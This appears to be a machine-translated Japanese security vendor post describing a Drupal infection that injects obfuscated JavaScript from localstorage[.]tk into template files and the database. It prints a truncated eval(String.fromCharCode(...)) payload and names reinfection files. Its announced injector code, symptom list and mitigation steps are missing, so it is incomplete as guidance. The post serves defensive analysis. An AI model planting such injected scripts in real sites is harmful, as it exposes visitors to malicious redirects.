Drupal 感染

この Drupal エクスプロイトは、さまざまな .tpl.php に挿入される悪意のある JavaScript コードを介して現れます。 , .html.twig および .js ファイル。 hxxps://js.localstorage[.]tk/s.js?crt=new から悪意のあるスクリプトが挿入される 、または hxxp://193.201.224 .233/m.js?d=3 からロードすることもできます 、悪意のあるリダイレクトにつながります。さらに、このコードは悪意のあるスクリプトをデータベース内の他の多数の場所に挿入します。

[code inline="true" scrollable="true"]eval (String .fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, ...skipped... 100, 40, 122, 41, 59));
[/code]

Drupal:感染したページには上記の JavaScript コードが含まれています

これらの悪意のある JavaScript コードをファイルやデータベースから削除しても無駄な場合があります。ハッカーは、ファイルがクリーンであると疑われる場合に備えて、ファイルを再感染させるためのファイルを作成しているためです。これらのファイルには通常、「g.php」のようなランダムなファイル名が含まれているようです。 」、「tonure.php 」、または「jooner.php」

以下は、悪意のある Javascript ファイルを .tpl.php に挿入するマルウェア インジェクタ コードです。 , .html.twig 、header.php、 および drupal.js ファイル。

Massive localstorage[.]tk Drupal 感染の一般的な症状には次のようなものがあります。

Drupal エクスプロイトに対する緩和:localstorage[.]tk 感染

被害はすでに発生している可能性がありますが、一連の調整された緩和戦略に従うことで、さらなる悪用を防ぎ、この Drupal の脆弱性を緩和することができます。次の手順を使用して、この Drupal 感染を除去し、将来の脆弱性を緩和することができます:

このようなオンライン攻撃に対する Drupal サイトの完全なセキュリティをお探しですか? Astra の Drupal Securit Suite に申し込んで、ビジネス中のセキュリティを確保してください。

すぐに助けが必要な場合は、チャット ウィジェットにメッセージを送ってください。

Astra の開発者向けセキュア コーディング プラクティス チェックリスト ガイドをダウンロード